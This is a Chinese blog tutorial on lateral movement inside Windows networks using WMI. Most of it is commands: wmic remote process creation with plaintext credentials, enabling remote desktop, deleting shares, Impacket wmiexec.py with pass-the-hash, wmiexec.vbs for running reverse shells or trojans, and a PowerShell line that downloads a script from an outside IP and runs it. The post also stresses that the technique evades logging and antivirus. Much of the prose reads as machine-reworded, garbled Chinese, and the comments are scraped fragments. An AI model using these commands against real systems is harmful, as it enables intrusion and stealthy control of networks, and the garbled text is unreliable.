×

内网横向移动:利用WMI来渗透

访客 访客 发表于2021-09-29 00:56:58 浏览775 评论4

4人参与发表评论

横向挪动

在内网渗透中,当攻击者获得到内部网某台设备的决策权后,会以被攻占的服务器为起点、跳板,根据搜集域内凭据等各种各样方式,浏览域内别的设备,进一步扩张财产范畴。根据该类方式,攻击者最后很有可能得到域控制器的访问限制,乃至良好控制根据Windows操作系统的全部内部网自然环境,操纵域自然环境下的所有设备。

本文,大家来解读WMI在横向渗入中的应用。

WMI 的应用

WMI的全名叫“Windows Management Instrumentation”。从Windows 98逐渐,Windows操作系统都适用WMI。WMI是由一系列工具箱构成的,能够 在当地或是远程访问计算机软件。

自打PsExec以内网里被严苛监管后,愈来愈多的反病毒生产商将PsExec添加了信用黑名单,因此攻击者慢慢逐渐应用WMI开展横向挪动。根据网站渗透测试发觉,在应用wmiexec开展横向挪动时,Windows操作系统默认设置不容易将WMI的操作记录在日志中,另外攻击脚本制作不用载入到硬盘,具备非常高的隐蔽性。由于在这个全过程中不容易造成日志,因此,对网络工程师而言提升了攻击追溯的成本费。而对攻击者而言,其故意个人行为被发觉的概率有一定的减少、隐蔽性逐步提高。从而,愈来愈多的APT逐渐应用WMI开展攻击,运用WMI能够 开展信息收集、检测、反病毒、vm虚拟机检验、指令实行、管理权限分布式锁等实际操作。

WMI 常用命令文档管理
wmic fsdir where "drive='c:' and filename='whoami'" list

删掉C盘下的test文件目录

wmic fsdir "c:\\ est" call delete

留意“\\”要开展一下转义

实行以下指令能够 枚举类型出全部系统软件中的全部可执行程序:

wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath

wmic 整盘检索某文档并获得该文件所属文件目录

for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)
系统软件自然环境设定管理方法

WMIC能够 获取出全部关键安装文件的途径,比如temp文件目录和win文件目录这些:

wmic environment get Description, VariableValue

获得temp系统变量

wmic environment where "name='temp'" get UserName,VariableValue

变更PATH自然环境变量类型,增加c:\\whoami

wmic environment where "name='path' and username=' system>'" set VariableValue="%path%;c:\\whoami"
进程管理

列举全部过程信息内容

wmic process list brief

Full表明全部、Brief表明引言、Instance表明案例、Status表明情况

wmic process get processid,name,executablepath
获得特定过程可执行程序的途径
wmic process where name="vmtoolsd.exe" get executablepath
wmic process call create "C:\\windows\\system32
otepad.exe"

依据DOS命令建立过程

wmic process call create "cmd.exe /c 'ipconfig'"
wmic process call create "shutdown.exe -r -f -t 60"
wmic process where name="notepad.exe" delete
wmic process where pid="244" delete
管理员账户管理方法
wmic useraccount
wmic useraccount list brief

wmic useraccount where "name='%UserName%'" call rename newUserName // 变更当今登录名
wmic useraccount where "name='Administrator'" call Rename admin // 变更特定登录名
计算机软件管理方法
wmic computersystem get domain

自动运行程序管理
wmic startup get command,caption
管理与服务
wmic service list brief

wmic service where "state='running'" list brief
wmic service where "name='tlntsvr'" call startservice

wmic service where "name='tlntsvr'" call stopservice
获得补丁包信息内容
wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn
查询域控制器
wmic ntdomain list brief

查询安裝的手机软件信息内容
wmic product get name,version
远程桌面连接联接

应用WMIC指令打开远程计算机的远程桌面连接联接:

wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
共享资源管理方法
wmic share list brief
wmic share get name,path,status

建立和删掉共享资源

// 创建共享资源
wmic share call create "","test","3","TestShareName","","c:\\whoami",0
(可应用 WMIC SHARE CALL Create /? 查询create后的主要参数种类)
// 删掉共享资源
wmic share where "name='C$'" call delete
wmic share where "path='c: est'" delete
应用WMI开展横向挪动

注:应用WMIC联接远程控制服务器,必须总体目标服务器对外开放135和445端口。(135 端?是 WMIC 默认设置的管理方法端?wimcexec 使?445端?传到显)

远程控制建立过程

以下,以administrator客户联接192.168.52.138(DC),并在设备上建立一个过程实行ipconfig指令,将結果载入c:\\result.txt文本文档中:(因为wmic实行远程连接命令沒有回显,因此要将結果载入到txt中)

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 process call create "cmd.exe /c ipconfig > c:\\result.txt"

// /node:特定将对其开展实际操作的网络服务器

这儿因为我事先与总体目标服务器创建了ipc$联接,因此就不用在wmic特定/user和/password了。

创建ipc$联接后,应用type指令远程控制载入192.168.52.138上的实行結果:

type \\\\192.168.52.138\\c$\\result.txt

重新启动远程计算机

wmic /node:192.168.52.138 /user:administrator /password:Liufupeng123 /process call create "shutdown.exe -r -f -m"

应用WMIC远程控制运行命令,在远程控制系统软件中运行WMIC服务项目(总体目标网络服务器必须对外开放其默认设置135端口,WMIC会以访问权限在远程控制系统软件中运行命令)。假如总体目标网络服务器打开了服务器防火墙,WMIC将无法连接。此外因为wmic指令沒有回显,必须应用IPC$和type指令来载入信息内容。必须留意的是,假如WMIC实行的是恶意软件,将不容易留有日志。我们可以应用以下这种专用工具来实行wmi远程连接命令。

WMIEXEC

wmiexec是对windows内置的wmic干了一些加强,让渗入越来越更非常容易。只有说许多专用工具吧,较为功能强大的在这儿详细介绍几类。wmiexec必须出示账户密码开展远程桌面连接,可是要是没有破译出账户和弱密码,还可以相互配合hach传送或单据引入作用一起应用,先开展传送或引入,随后再应用WMIEXEC就可以。

Impacket中的wmiexec.py

该脚本制作关键在从Linux像Windows开展横向渗入时应用,十分强劲,能够 走socks代理商进到内部网。

下载链接:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

必须先免费下载impacket工具箱,这里边有很多专用工具

git clone https://github.com/CoreSecurity/impacket.git
?cd impacket/
?pip install .

安裝取得成功后,转换到examples文件目录下,运作以下指令获得总体目标系统软件192.168.52.138的shell:

python wmiexec.py administrator:
// python wmiexec.py 登录名:登陆密码@总体目标IP

假如对wmiexec.py特定-hashes得话,则可开展hach传送

python wmiexec.py -hashes LM Hash:NT Hash 网站域名/登录名@总体目标IP // hach传送得到shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
EXE版本的wmiexec

命令与wmiexec.py是一模一样的。运行如下命令获取目标系统192.168.52.138的shell:

wmiexec.exe administrator:

wmiexec.exe主要用在Windows上。

wmiexec.vbs

下载地址:Here

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

执行如下命令,获得目标主机(192.168.52.138)的一个半交互式的Shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 administrator Liufupeng123
// cscript用于在Windows中执行脚本

输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)

cscript.exe //nologo wmiexec.vbs /cmd 192.168.52.138 administrator Liufupeng123 "ipconfig"

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。

当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。这样就可以运行nc或者木马程序了。

wmiexec.vbs已经被各大厂商杀的死死的了。

使用PowerShell来执行WMI命令Invoke-WmiCommand.ps1

下载地址:https://github.com/PowerShellMafia/PowerSploit

Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具,该脚本主要通过powershell调用WMI来远程执行命令,本质上还是利用WMI。

适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。使用如下,在powershell中分别输入如下命令:

IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1') // 下载脚本并导入系统
$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote=Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上
Invoke-WMIMethod.ps1

Invoke-WMIMethod.ps1模块是powershell自带的,可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令,可以以非交互式的方式执行远程命令,但不会回显执行结果。

$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令

Ending......

参考:

https://blog.csdn.net/jhsword/article/details/96623333

https://www.freebuf.com/articles/system/182531.html

https://blog.csdn.net/qq_36119192/article/details/102984779

https://blog.csdn.net/qq_27446553/article/details/46008473

《内网安全攻防:渗透测试实战指南》

文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。个人博客:https://whoamianony.top/

群贤毕至

访客
嘻友澉约 嘻友澉约2022-05-28 00:34:44 | 回复 ystem/182531.htmlhttps://blog.csdn.net/qq_36119192/article/details/102984779https://blog.csdn.net/qq_27446553/article/details/46008473
边侣涴歌 边侣涴歌2022-05-27 22:13:44 | 回复 .168.52.138 /user:administrator /password:Liufupeng123 /process call create "shutdown.exe -r -f -m"应用WMIC远程控制运行命令
冢渊惑心 冢渊惑心2022-05-28 07:47:01 | 回复 ess where pid="244" delete管理员账户管理方法wmic useraccountwmic useraccount list briefwmic useraccount where "name='%UserNa
怎忘沐白 怎忘沐白2022-05-28 04:49:40 | 回复 e Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令E